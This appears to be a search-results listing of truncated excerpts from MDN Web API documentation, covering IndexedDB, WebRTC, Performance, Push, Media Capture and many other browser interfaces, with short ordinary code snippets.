main program body appears first, followed by the output from the microtask, followed by the timeout's callback. That's because when the task that's handling the execution of the main program exits, the microtask queue gets processed before the task queue on which the timeout callback is located. Remembering that tasks and microtasks are kept on separate queues, and that microtasks run first will help keep this straight. Microtask from a function This example expands slightly on the previous one by adding a function that does some work. This function uses queueMicrotask() to schedule a microtask. The important thing to take away from this one is that the microtask isn't processed when the function exits, but when the main program exits. HTML <pre id="log"> </pre> JavaScript The code b...
HTML Drag and Drop API - Web APIs
Note: DragEvent and DataTransfer are broadly supported on desktop browsers. However, the DataTransferItem and DataTransferItemList interfaces have limited browser support. See Interoperability for more information about drag-and-drop interoperability. Gecko-specific interfaces Mozilla and Firefox support some features not in the standard drag-and-drop model. These are convenience functions to help with dragging multiple items or non-string data (such as files). For more information, see Dragging and Dropping Multiple Items. Additionally, see the DataTransfer reference page for all of the Gecko-specific properties and Gecko-specific methods. The basics This section is a summary of the basic steps to add drag-and-drop functionality to an application. Identify what is draggable Making an ...
IDBEnvironment - Web APIs
It is the top level IndexedDB interface implemented by the window and Worker objects. Note: This feature is available in Web Workers. ...
IDBTransaction.error - Web APIs
BTransaction.abort method. Example In the following code snippet, we open a read/write transaction on our database and add some data to an object store. Note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure. Note the transaction.onerror = function(event) { }; block, making use of transaction.error to help in reporting what went wrong when the transaction was unsuccessful. For a full working example, see our To-do Notifications app (view example live.) // Let us open our database var DBOpenRequest = window.indexedDB.open("toDoList", 4); DBOpenRequest.onsuccess = function(event) { note.innerHTML += '<li>Database initialised.</li>'; // store the result of opening the database in the db variabl...
IDBTransaction.onerror - Web APIs
= function(event) { ... }; Example In the following code snippet, we open a read/write transaction on our database and add some data to an object store. Note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure. Note the transaction.onerror = function(event) { }; block, making use of transaction.error to help in reporting what went wrong when the transaction was unsuccessful. For a full working example, see our To-do Notifications app (view example live.) // Let us open our database var DBOpenRequest = window.indexedDB.open("toDoList", 4); DBOpenRequest.onsuccess = function(event) { note.innerHTML += '<li>Database initialised.</li>'; // store the result of opening the database in the db variabl...
Checking when a deadline is due - Web APIs
n ambiguities, I decided to create an HTML form with: A text input for entering a title for your to-do list. This is the least avoidable bit of user typing. Number inputs for the hour and minute parts of the deadline. On browsers that support type="number", you get a nice little up and down arrow number picker. On mobile platforms you tend to get a numeric keypad for entering data, which is helpful. On others you just get a standard text input, which is okay. <select> elements for inputting the day, month and year of the deadline. Because these values are the most ambiguous for users to enter (7, sunday, sun? 04, 4, April, Apr? 2013, '13, 13?), I decided the best solution was to give them a choice to pick from, which also saves on annoying typing for mobile users. The days are recorded ...
Using IndexedDB - Web APIs
t the request succeeded, you'll have another opportunity to extend the transaction during that callback. If you return to the event loop without extending the transaction then it will become inactive, and so on. As long as there are pending requests the transaction remains active. Transaction lifetimes are really very simple but it might take a little time to get used to. A few more examples will help, too. If you start seeing TRANSACTION_INACTIVE_ERR error codes then you've messed something up. Transactions can receive DOM events of three different types: error, abort, and complete. We've talked about the way that error events bubble, so a transaction receives error events from any requests that are generated from it. A more subtle point here is that the default behavior of an error is to ab...
Timing element visibility with the Intersection Observer API - Web APIs
teresting is our use of grid-column here; here we specify that we want the column to start in the first column and ends in the first column past the last grid line--in other words, the header spans across all of the columns within the grid. Perfect for our needs. The sidebar Our sidebar is used to present links to other pages on the site. None of them work in our example here, but they exist to help with the presentation of a blog-like experience. The sidebar is represented using an <aside> element, and is styled as follows: aside { grid-column: 1; grid-row: 2; background-color: cornsilk; padding: 5px 10px; } aside ul { padding-left: 0; } aside ul li { list-style: none; } aside ul li a { text-decoration: none; } The most important thing to note here is that the grid-column...
Intersection Observer API - Web APIs
The target element's bounding rectangle (that is, the smallest rectangle that fully encloses the bounding boxes of every component that makes up the element) is obtained by calling getBoundingClientRect() on the target. This is the largest the intersection rectangle may be. The remaining steps will rem...
Key Values - Web APIs
Escape (0x01000000) KEYCODE_ESCAPE (111) "Execute" The Execute key. VK_EXECUTE (0x2B) Qt::Key_Execute (0x01020003) "Find" The Find key. Opens an interface (typically a dialog box) for performing a find/search operation. APPCOMMAND_FIND GDK_KEY_Find (0xFF68) "Finish" [5] The Finish key. VK_OEM_FINISH (0xF1) "Help" The Help key. Opens or toggles the display of help information. VK_HELP (0x2F) APPCOMMAND_HELP kVK_Help (0x72) GDK_KEY_Help (0xFF6A) Qt::Key_Help (0x01000058) KEYCODE_HELP (259) "Pause" The Pause key. Pauses the current application or state, if applicable. Note: This shouldn't be confused with the "MediaPause" key value, which is used for media controllers,...
MediaError - Web APIs
sly been determined to be usable, an error occurred while trying to decode the media resource, resulting in an error. MEDIA_ERR_SRC_NOT_SUPPORTED 4 The associated resource or media provider object (such as a MediaStream) has been found to be unsuitable. MediaError.message A DOMString object containing a human-readable string which provides specific diagnostic information to help the reader understand the error condition which occurred; specifically, it isn't simply a summary of what the error code means, but actual diagnostic information to help in understanding what exactly went wrong. This text and its format is not defined by the specification and will vary from one user agent to another. If no diagnostics are available, or no explanation can be provided, this value i...
MediaStreamTrack.applyConstraints() - Web APIs
track; these constraints let the Web site or app establish ideal values and acceptable ranges of values for the constrainable properties of the track, such as frame rate, dimensions, echo cancelation, and so forth. Constraints can be used to ensure that the media meets certain guidelines you prefer. For example, you may prefer high-density video but require that the frame rate be a little low to help keep the data rate low enough not overtax the network. Constraints can also specify ideal and/or acceptable sizes or ranges of sizes. See Applying constraints in Capabilities, constraints, and settings for more information on how to apply your preferred constraints. Syntax const appliedPromise = track.applyConstraints([constraints]) Parameters constraints Optional A MediaTrackConstraints o...
MediaStreamTrack.getConstraints() - Web APIs
ing a prior call to applyConstraints(). These constraints indicate values and ranges of values that the Web site or application has specified are required or acceptable for the included constrainable properties. Constraints can be used to ensure that the media meets certain guidelines you prefer. For example, you may prefer high definition video but require that the frame rate be a little low to help keep the data rate low enough not overtax the network. Constraints can also specify ideal and/or acceptable sizes or ranges of sizes. See Capabilities, constraints, and settings for details on how to work with constrainable properties. Syntax const constraints = track.getConstraints() Return value A MediaTrackConstraints object which indicates the constrainable properties the Web site or app ...
Using the Media Capabilities API - Web APIs
These features include: The ability to query the browser to determine its ability to encode or decode media given a specified set of encoding parameters. These parameters may include the codecs, resolutions, bit rates, frame rates, and other such details. With the Media Capabilities API, you can determine not just if the browser can support a given format, but whether or not it can do so efficiently and smoothly. In short, this API replaces--and improves upon--the MediaSource method isTypeSupported() or the HTMLMediaElement method canPlayType(). ...
Capabilities, constraints, and settings - Web APIs
e user's reference, a list of the constrainable properties which their browser supports. Each property is a link to its documentation on MDN for the user's convenience. See the Example in MediaDevices.getSupportedConstraints() for details on how this code works. Of course, there may be non-standard properties in this list, in which case you probably will find that the documentation link doesn't help much. let supportedConstraints = navigator.mediaDevices.getSupportedConstraints(); for (let constraint in supportedConstraints) { if (supportedConstraints.hasOwnProperty(constraint)) { let elem = document.createElement("li"); elem.innerHTML = "<code><a href='/docs/Web/API/MediaTrackSupportedConstraints/" .concat(constraint) + "' target='_blank'>" + constraint + "</a></code>";...
Media Capture and Streams API (Media Stream) - Web APIs
d VideoStreamTrack interfaces--each based upon MediaStreamTrack--which represented streams of those types. These no longer exist, and you should update any existing code to instead use MediaStreamTrack directly. Events addtrack ended muted overconstrained removetrack started unmuted Guides and tutorials The articles below provide additional guidance and how-to information that will help you learn to use the API, and how to perform specific tasks that you may wish to handle. Capabilities, constraints, and settingsThe twin concepts of constraints and capabilities let the browser and Web site or app exchange information about what constrainable properties the browser's implementation supports and what values it supports for each one. This article discusses capabilities a...
msPlayToPreferredSourceUri - Web APIs
...
Using Navigation Timing - Web APIs
Unlike other tools or libraries, the Navigation Timing API lets you gather information that only the browser can provide at a level of accuracy much improved over other techniques. It also offers the advantage of being able to provide timing information as perceived by the user rather than data that has no correlation to what the user experiences. Collecting timing information Using the API is as simple as obtaining the Performance object using window.performance and looking up what you need within the object returned. ...
Navigator.msLaunchUri() - Web APIs
of MSLaunchUriCallback to be executed if the protocol handler is present. noHandlerCallbackOptional A function matching MSLaunchUriCallback to be executed if the protocol handler is not present. Return value undefined. Usage notes If a default protocol handler is available on the system that matches the URI, the successCallback is invoked, otherwise, the noHandlerCallback is called. To help protect a user's privacy, Windows displays a prompt for the user to allow the service or app to be launched. The user can choose to not see the prompt after the first instance for a particular protocol and automatically open the app or service without a user intervention. The msLaunchUri() method does not support HTTP, Secure Hypertext Transfer Protocol (HTTPS), File Transfer Protocol (FTP), file...
Online and offline events - Web APIs
offline. You also need to know when your application has returned to an 'online' status again. Effectively, the requirements break down as such: You need to know when the user comes back online, so that you can re-synchronize with the server. You need to know when the user is offline, so that you can queue your server requests for a later time. It is this process that online/offline events help to simplify. API navigator.onLine navigator.onLine is a property that maintains a true/false value (true for online, false for offline). This property is updated whenever the user switches into "Offline Mode" by selecting the corresponding menu item (File -> Work Offline in Firefox). Additionally, this property should update whenever a browser is no longer capable of connecting to the network...
Using the Notifications API - Web APIs
common requirement when an API tries to interact with something outside a web page -- at least once, the user needs to specifically grant that application permission to present notifications, thereby letting the user control which apps/sites are allowed to display notifications. Because of abuses of push notifications in the past, web browsers and developers have begun to implement strategies to help mitigate this problem. You should only request consent to display notifications in response to a user gesture (e.g. clicking a button). This is not only best practice -- you should not be spamming users with notifications they didn't agree to -- but going forward browsers will explicitly disallow notification permission requests not triggered in response to a user gesture. Firefox is already doin...
OES_texture_float_linear - Web APIs
extensions are available using the WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the WebGL tutorial. Availability: This extension is available to both, WebGL1 and WebGL2 contexts. Linear filtering The OES_texture_float extension alone does not allow linear filtering with floating-point textures. This extension enables this ability. With the help of this extension, you can now set the magnification or minification filter in the WebGLRenderingContext.texParameter() method to one of gl.LINEAR, gl.LINEAR_MIPMAP_NEAREST, gl.NEAREST_MIPMAP_LINEAR, or gl.LINEAR_MIPMAP_LINEAR, and use floating-point textures. Examples gl.getExtension('OES_texture_float'); gl.getExtension('OES_texture_float_linear'); var texture = gl.createTexture(); gl.bindTe...
OES_texture_half_float_linear - Web APIs
s are available using the WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the WebGL tutorial. Availability: This extension is available to both, WebGL1 and WebGL2 contexts. Linear filtering The OES_texture_half_float extension alone does not allow linear filtering with half floating-point textures. This extension enables this ability. With the help of this extension, you can now set the magnification or minification filter in the WebGLRenderingContext.texParameter() method to one of gl.LINEAR, gl.LINEAR_MIPMAP_NEAREST, gl.NEAREST_MIPMAP_LINEAR, or gl.LINEAR_MIPMAP_LINEAR, and use half floating-point textures. Examples var halfFloat = gl.getExtension('OES_texture_half_float'); gl.getExtension('OES_texture_half_float_linear'); var texture ...
PannerNode.coneInnerAngle - Web APIs
on. The coneInnerAngle property's default value is 360, suitable for a non-directional source. Syntax var audioCtx = new AudioContext(); var panner = audioCtx.createPanner(); panner.coneInnerAngle = 360; Value A double. Example In this example, we'll demonstrate how changing the orientation parameters of a PannerNode in combination with coneInnerAngle and coneOuterAngle affects volume. To help us visualise how the orientation vector affects, we can use the Right-hand rule: First, let's start by writing a utility function to figure out our orientation vector. The X and Z components are always at a 90? to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians. However, normally this would mean the PannerNode points to the left of the li...
PannerNode.coneOuterAngle - Web APIs
value, defined by the coneOuterGain property. The coneOuterAngle property's default value is 0. Syntax var audioCtx = new AudioContext(); var panner = audioCtx.createPanner(); panner.coneOuterAngle = 0; Value A double. Example In this example, we'll demonstrate how changing the orientation parameters of a PannerNode in combination with coneInnerAngle and coneOuterAngle affects volume. To help us visualise how the orientation vector affects, we can use the Right-hand rule: First, let's start by writing a utility function to figure out our orientation vector. The X and Z components are always at a 90? to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians. However, normally this would mean the PannerNode points to the left of the li...
PannerNode.coneOuterGain - Web APIs
Ctx.createPanner(); panner.coneOuterGain = 0; Value A double. The default is 0, and its value can be in the range 0-1. Exceptions InvalidStateError The property has been given a value outside the accepted range (0-1). Example In this example, we'll demonstrate how changing the orientation parameters of a PannerNode in combination with coneInnerAngle and coneOuterAngle affects volume. To help us visualise how the orientation vector affects, we can use the Right-hand rule: First, let's start by writing a utility function to figure out our orientation vector. The X and Z components are always at a 90? to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians. However, normally this would mean the PannerNode points to the left of the li...
PannerNode.orientationX - Web APIs
ationX = PannerNode.orientationX; PannerNode.orientationX.value = newOrientationX; Value An AudioParam whose value is the X component of the direction in which the audio source is facing, in 3D Cartesian coordinate space. Example In this example, we'll demonstrate how changing the orientation parameters of a PannerNode in combination with coneInnerAngle and coneOuterAngle affects volume. To help us visualise how the orientation vector affects, we can use the Right-hand rule: First, let's start by writing a utility function to figure out our orientation vector. The X and Z components are always at a 90? to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians. However, normally this would mean the PannerNode points to the left of the li...
PannerNode.orientationY - Web APIs
ar orientationY = PannerNode.orientationY; PannerNode.orientationY.value = newOrientationY; Value An AudioParam whose value is the Y component of the direction the audio source is facing, in 3D Cartesian coordinate space. Example In this example, we'll demonstrate how changing the orientation parameters of a PannerNode in combination with coneInnerAngle and coneOuterAngle affects volume. To help us visualise how the orientation vector affects, we can use the Right-hand rule: First, let's start by writing a utility function to figure out our orientation vector. The X and Z components are always at a 90? to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians. However, normally this would mean the PannerNode points to the left of the li...
PannerNode.orientationZ - Web APIs
ar orientationZ = PannerNode.orientationZ; PannerNode.orientationZ.value = newOrientationZ; Value An AudioParam whose value is the Z component of the direction the audio source is facing, in 3D Cartesian coordinate space. Example In this example, we'll demonstrate how changing the orientation parameters of a PannerNode in combination with coneInnerAngle and coneOuterAngle affects volume. To help us visualise how the orientation vector affects, we can use the Right-hand rule: First, let's start by writing a utility function to figure out our orientation vector. The X and Z components are always at a 90? to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians. However, normally this would mean the PannerNode points to the left of the li...
performance.clearMarks() - Web APIs
re is available in Web Workers. Syntax performance.clearMarks(); performance.clearMarks(name); Arguments name Optional A DOMString representing the name of the timestamp. If this argument is omitted, all performance entries with an entry type of "mark" will be removed. Return value void Example The following example shows both uses of the clearMarks() method. // Create a small helper to show how many PerformanceMark entries there are. function logMarkCount() { console.log( "Found this many entries: " + performance.getEntriesByType("mark").length ); } // Create a bunch of marks. performance.mark("squirrel"); performance.mark("squirrel"); performance.mark("monkey"); performance.mark("monkey"); performance.mark("dog"); performance.mark("dog"); logMarkCount() // "Foun...
performance.clearMeasures() - Web APIs
ble in Web Workers. Syntax performance.clearMeasures(); performance.clearMeasures(name); Arguments name Optional A DOMString representing the name of the timestamp. If this argument is omitted, all performance entries with an entry type of "measure" will be removed. Return value void Example The following example shows both uses of the clearMeasures() method. // Create a small helper to show how many PerformanceMeasure entries there are. function logMeasureCount() { console.log( "Found this many entries: " + performance.getEntriesByType("measure").length ); } // Create a bunch of measures. performance.measure("from navigation"); performance.mark("a"); performance.measure("from mark a", "a"); performance.measure("from navigation"); performance.measure("from mark a",...
PerformanceFrameTiming - Web APIs
CSS animations, etc.. A frame rate of 60fps (frames per second) for a 60Hz refresh rate is the target for a good responsive user experience. This means the browser should process a frame in about 16.7ms. An application can register a PerformanceObserver for "frame" performance entry types and the observer can retrieve data about the duration of each frame event. This information can be used to help identify areas that take too long to provide a good user experience. <div id="interfaceDiagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveAspectRatio="xMinYMin meet"><a xlink:href="/docs/We...
PerformanceObserver.observe() - Web APIs
o observe. May not be used together with the entryTypes option. buffered: A Boolean flag to indicate whether buffered entries should be queued into the observer's buffer. Must be used only with the "type" option. See PerformanceEntry.entryType for a list of valid performance entry type names. Unrecognized types are ignored, though the browser may output a warning message to the console to help developers debug their code. If no valid types are found, observe() has no effect. Examples This example creates and configures two PerformanceObservers; one watches for "mark" and "frame" events, and the other watches for "measure" events. var observer = new PerformanceObserver(function(list, obj) { var entries = list.getEntries(); for (var i=0; i < entries.length; i++) { // Proces...
PerformancePaintTiming - Web APIs
ormancePaintTiming interface of the Paint Timing provides timing information about "paint" (also called "render") operations during web page construction. "Paint" refers to conversion of the render tree to on-screen pixels. An application can register a PerformanceObserver for "paint" performance entry types and the observer can retrieve the times that paint events occur. Use this information to help identify areas that take too long to provide a good user experience. <div id="interfaceDiagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveAspectRatio="xMinYMin meet"><a xlink:href="/docs/We...
Using Performance Timeline - Web APIs
The Performance Timeline standard defines extensions to the Performance interface to support client-side latency measurements within applications. The standard also includes interfaces that allow an application to be notified when specific performance events occur. Together, these interfaces can be used to help identify an application's performance bottlenecks. Performance extensions Performance Timeline extends the Performance object with three methods that provide different mechanisms to get a set of performance records (metrics), depending on the specified filter criteria. The following example show the usage of these methods getEntries(), getEntriesByName() and getEntriesByType(). function log(s) { var o = document.getElementsByTagName("output")[0]; o.innerHTML += s + " <br>"; } fu...
Pinch zoom gestures - Web APIs
s closing (Zoom out).</div> <!-- UI for logging/debugging --> <button id="log" onclick="enableLog(event);">Start/Stop event logging</button> <button id="clearlog" onclick="clearLog(event);">Clear the log</button> <p></p> <output></output> </body> Miscellaneous functions These functions support the application but aren't directly involved in the event flow. Cache management This function helps manage the global event caches evCache. function remove_event(ev) { // Remove this event from the target's cache for (var i = 0; i < evCache.length; i++) { if (evCache[i].pointerId == ev.pointerId) { evCache.splice(i, 1); break; } } } Event logging These functions are used to send event activity to the application's window (to support debugging and learning about the event...
Using Pointer Events - Web APIs
log("pointercancel: id = " + evt.pointerId); var idx = ongoingTouchIndexById(evt.pointerId); ongoingTouches.splice(idx, 1); // remove it; we're done } Since the idea is to immediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment. Convenience functions This example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear. Selecting a color for each touch In order to make each touch's drawing look different, the colorForTouch() function is used to pick a color based on the touch's unique identifier. This identifier is an opaque number, but we can at least rely on it differing between the currently-active touches. function colorForTouch(touch) { var r = touch.pointerId % 16...
PushManager.subscribe() - Web APIs
}; serviceWorkerRegistration.pushManager.subscribe(options).then( function(pushSubscription) { console.log(pushSubscription.endpoint); // The push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an XMLHttpRequest. }, function(error) { // During development it often helps to log errors to the // console. In a production environment it might make sense to // also report information about errors back to the // application server. console.log(error); } ); }); Responding to user gestures subscribe() calls should be done in response to a user gesture, such as clicking a button, for example: btn.addEventListener('click', f...
PushManager - Web APIs
egistration) { serviceWorkerRegistration.pushManager.subscribe().then( function(pushSubscription) { console.log(pushSubscription.endpoint); // The push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an XMLHttpRequest. }, function(error) { // During development it often helps to log errors to the // console. In a production environment it might make sense to // also report information about errors back to the // application server. console.log(error); } ); }); Specifications Specification Status Comment Push APIThe definition of 'PushManager' in that specification. Working Draft Initial defin...
Web Push API Notifications best practices - Web APIs
sh notifications are blocked. Allowing your site to push notifications in realtime requires trust. You can build trust by having a well-designed website that provides good content that shows respect for the user, and a clear value to accepting push notifications. Browser mitigations Because of abuses of push notifications in the past, web browser developers have begun to implement strategies to help mitigate this problem. For example, Safari 12.1 now requires--and other browsers either already do, or are planning[1] to do so--that the user interact with the page in some way before the page can request permission to perform push notifications. This at least prevents the user from getting spontaneously asked this question on web pages thaty've only glanced at once may rarely if ever look at ag...
RTCIceCandidate.usernameFragment - Web APIs
racter ufrag in which bit 4 of each character is randomly selected between 0 and 1. Another example: it might take a user-defined string and append three 8-bit random bytes to the end. Or perhaps every character is entirely random. Usage notes ICE uses the usernameFragment and password to ensure message integrity. This avoids crosstalk among multiple ongoing ICE sessions, but, more importantly, helps secure ICE transactions (and all of WebRTC by extension) against attacks that might try to inject themselves into an ICE exchange. Note: There is no API to obtain the ICE password, for what should be fairly obvious security reasons. The usernameFragment and password both change every time an ICE restart occurs. Example Although the WebRTC infrastructure will filter out obsolete candidates ...
RTCIceCandidate - Web APIs
ived from the "component-id" field in the candidate a-line string. The permitted values are listed in the RTCIceComponent enumerated type. foundation Read only Returns a DOMString containing a unique identifier that is the same for any candidates of the same type, share the same base (the address from which the ICE agent sent the candidate), and come from the same STUN server. This is used to help optimize ICE performance while prioritizing and correlating candidates that appear on multiple RTCIceTransport objects. ip Read only A DOMString containing the IP address of the candidate. port Read only An integer value indicating the candidate's port number. priority Read only A long integer value indicating the candidate's priority. protocol Read only A string indicating whether th...
RTCIceCandidateInit.candidate - Web APIs
date event. If your client-side signaling layer builds and transmits a JSON string including the candidate to the remote peer, the remote peer might handle receiving that JSON message like this: function gotICECandidateMessage(msg) { var iceCandidate = new RTCIceCandidate({ candidate: msg.candidate; }); pc.addIceCandidate(iceCandidate).catch({ /* handle error */ }); } It's helpful to note that for backward compatibility with older versions of the WebRTC specification, the RTCIceCandidate() constructor accepts the value of candidate as its only input, in place of the RTCIceCandidateInit dictionary. That usage would change the above sample to look like this: function gotICECandidateMessage(msg) { var iceCandidate = new RTCIceCandidate(msg.candidate); pc.addIceCandid...
RTCIceServer.url - Web APIs
Web › API › RTCIceServer › url
This property has been removed from the specification; while it's still supported by many browsers, it should no longer be used. ...
RTCIceServer - Web APIs
ou specify multiple addresses for each server in the list, as shown in the example below. Obsolete properties The following properties have been removed from the specification and should not be used. url This obsolete property is a string specifies a single ICE server's URL. Do not use this property; use urls instead. Because many older books and examples still use this, we include it to help developers update their code or make sense of older examples. Example The configuration below establishes two ICE servers. The first one, stun:stun.services.mozilla.com, requires authentication, so the username and password are provided. The second server has two URLs: stun:stun.example.com and stun:stun-1.example.com. var configuration = { iceServers: [{ urls: "stun...
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
unsigned integer value which indicates the total number of FEC packets which have been recieved from the remote peer during this RTP session. Forward Error Correction uses an exclusive-or method to perform parity checks on the received data. By using the FEC parity information to attempt to reconstruct damaged packets, it is possible to avoid the need to retransmit damaged packets, which in turn helps to reduce lag, or the need to skip damaged frames entirely. Note: This counter may also be incremented when FEC packets arrive in-band along with media content; this can happen with Opus, for example. Usage notes It's possible that a subset of the FEC packets which have been received were discarded instead of being used. This can happen if the packets covered by the FEC packets have already...
RTCPeerConnection.createAnswer() - Web APIs
answer is set as the description of the local end of the connection by calling setLocalDescription(). Once that succeeds, the answer is sent to the signaling server using whatever protocol you see fit. Promise.catch() is used to trap and handle errors. See Handling the invitation in Signaling and video calling to see the complete code, in context, from which this snippet is derived; that will help you understand the signaling process and how answers work. Specifications Specification Status Comment WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'createAnswer()' in that specification. Candidate Recommendation Initial definition. ...
RTCPeerConnection.createOffer() - Web APIs
a custom function called sendToServer(). The implementation of the signaling server is independent from the WebRTC specification, so it doesn't matter how the offer is sent as long as both the caller and potential receiver are using the same one. Use Promise.catch() to trap and handle errors. See Signaling and video calling for the complete example from which this snippet is derived; this will help you to understand how the signaling code here works. Specifications Specification Status Comment WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'createOffer()' in that specification. Candidate Recommendation Initial definition. ...
RTCPeerConnection.onaddstream - Web APIs
ction. Such an event is sent when a MediaStream is added to this connection by the remote peer. The event is sent immediately after the call setRemoteDescription() and doesn't wait for the result of the SDP negotiation. Important: This property has been removed from the specification; you should now use RTCPeerConnection.ontrack to watch for track events instead. It is included here in order to help you adapt existing code and understand existing samples, which may not be up-to-date yet. Syntax rtcPeerConnection.onaddstream = eventHandler; Value A function which handles addstream events. These events, of type MediaStreamEvent, are sent when streams are added to the connection by the remote peer. The first time an event occurs may be nearly immediately after the remote end of the connec...
RTCPeerConnection.onicecandidateerror - Web APIs
RTCPeerConnection instance. This event is fired when an error occurs during the ICE candidate gathering process. Syntax RTCPeerConnection.onicecandidateerror = eventHandler; Value This should be set to a function you provide which is passed a single parameter: an RTCPeerConnectionIceErrorEvent object describing the icecandidateerror event. The event offers properties describing the error to help you handle it appropriately. Example pc.onicecandidateerror = function(event) { if (event.errorCode >= 300 && event.errorCode <= 699) { // STUN errors are in the range 300-699. See RFC 5389, section 15.6 // for a list of codes. TURN adds a few more error codes; see // RFC 5766, section 15 for details. } else if (event.errorCode >= 700 && event.errorCode <= 799) { // Server c...
RTCPeerConnection.signalingState - Web APIs
the RTCSignalingState enum; these values describe the state of the signaling process on the local end of the connection while connecting or reconnecting to another peer. See Signaling in Lifetime of a WebRTC session for more details about the signaling process. Because the signaling process is a state machine, being able to verify that your code is in the expected state when messages arrive can help avoid unexpected and avoidable failures. For example, if you receive an answer while the signalingState isn't "have-local-offer", you know that something is wrong, since you should only receive answers after creating an offer but before an answer has been received and passed into RTCPeerConnection.setLocalDescription(). Your code will be more reliable if you watch for mismatched states like this ...
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
en uses the two reports together to determine several... XXX ... Finding paired statistics Each statistics record of type remote-outbound-rtp (describing a remote peer's statistics about sending data to the local peer) has a corresponding record of type inbound-rtp which describes the local peer's perspective on the same data being moved between the two peers. Let's create a utility function to help us look up the value of a key in the paired statistics object. The findReportEntry() function shown below examines an RTCStatsReport, returning the RTCStats-based statistics record which contains the specified key -- and for which the key has the specified value. If no match is found (or the statistics report has no record corresponding to the statistics category indicated by key. function find...
RTCRtpContributingSource - Web APIs
ded is based on the last ten seconds of media received. Properties audioLevel Optional A double-precision floating-point value between 0 and 1 specifying the audio level contained in the last RTP packet played from this source. rtpTimestamp Optional The RTP timestamp of the media played out at the time indicated by timestamp. This value is a source-generated time value which can be used to help with sequencing and synchronization. source Optional A 32-bit unsigned integer value specifying the CSRC identifier of the contributing source. timestamp Optional A DOMHighResTimeStamp indicating the most recent time at which a frame originating from this source was delivered to the receiver's MediaStreamTrack Specifications Specification Status Comment WebRTC 1.0: ...
RTCTrackEvent - Web APIs
receiver's track is the same one specified by the event's track, and the track has been added to any associated remote MediaStream objects. You can add a track event listener to be notified when the new track is available so that you can, for example, attach its media to a <video> element, using either RTCPeerConnection.addEventListener() or the ontrack event handler property. Note: It may be helpful to keep in mind that you receive the track event when a new inbound track has been added to your connection, and you call addTrack() to add a track to the far end of the connection, thereby triggering a track event on the remote peer. Example This simple example creates an event listener for the track event which sets the srcObject of the <video> element with the ID videobox to the first st...
RenderingContext - Web APIs
hich can refer to any one of the interfaces that represent a graphics rendering context within a <canvas> element: CanvasRenderingContext2D, WebGLRenderingContext, or WebGL2RenderingContext. By using the shorthand RenderingContext, methods and properties which can make use of any of these interfaces can be specified and written more easily; since <canvas> supports several rendering systems, it's helpful from a specification and browser implementation perspective to have a shorthand that means "one of these interfaces." As such, RenderingContext is an implementation detail, and isn't something web developers directly use. There is no RenderingContext interface, and there are no objects which implement type RenderingContext. The primary use of this type is the definition of the <canvas> eleme...
Request.destination - Web APIs
The destination read-only property of the Request interface returns a string describing the type of content being requested. The string must be one of those found in the RequestDestination enumerated type or the empty string, which is the default value. The destination is used by the user agent to, for example, help determine which set of rules to follow for CORS purposes, or how to navigate any complicated code paths that affect how specific types of request get handled. These destinations vary substantially in how they operate. Some are simply data receptacles, where the received data is stored for processing later. Others are script-based, in which case the received data is delivered to a script by calling it and passing the data along. Script-based destinations include <script> elements...
ServiceWorkerRegistration.pushManager - Web APIs
er.subscribe().then( function(pushSubscription) { console.log(pushSubscription.subscriptionId); console.log(pushSubscription.endpoint); // The push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an XMLHttpRequest. }, function(error) { // During development it often helps to log errors to the // console. In a production environment it might make sense to // also report information about errors back to the // application server. console.log(error); } ); }); Specifications Specification Status Comment Push APIThe definition of 'PushManager' in that specification. Working Draft Initial defin...
SourceBuffer.changeType() - Web APIs
The changeType() method of the SourceBuffer interface sets the MIME type that future calls to appendBuffer() should expect the new media data to conform to. This makes it possible to change codecs or container type mid-stream. One scenario in which this is helpful is to support adapting the media source to changing bandwidth availability, by transitioning from one codec to another as resource constraints change. Syntax sourceBuffer.changeType(type); Parameters type A DOMString specifying the MIME type that future buffers will conform to. Return value undefined. Exceptions TypeError The specified string is empty, rather than indicating a valid MIME type. InvalidStateError The SourceBuffer is not a member of the parent media source's sourceBuffers list, or the buffe...
StorageEstimate.quota - Web APIs
The StorageEstimate dictionary's quota property is a conservative approximation of how much storage is allotted to the origin or Web app that called StorageManager.estimate(); there may be more space available, but there will not be less. This value is an estimate to help prevent its use for fingerprinting--that is, identifying a device using an amalgamation of the values of seemingly innocuous properties. Syntax quota = StorageEstimate.quota; Value A numeric value specifying an approximation of the total amount of storage space available for use by the application. Example In this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user. HTML content <label> You're currently using about <output id="percent"> </out...
Storage API - Web APIs
ents are encouraged to obscure the exact size of the data used by a given origin, to prevent these values from being used for fingerprinting purposes. De-duplication, compression, and other methods to reduce the physical size of the stored data may be used. Quotas are conservative estimates of the space available for the origin's use, and should be less than the available space on the device to help prevent overruns. User agents may use any method they choose to determine the size of origins' quotas, and are encouraged by the specification to provide popular or frequently-used sites with extra space. To determine the estimated quota and usage values for a given origin, use the navigator.storage.estimate() method, which returns a promise that, when resolved, receives a StorageEstimate that...
SubtleCrypto.encrypt() - Web APIs
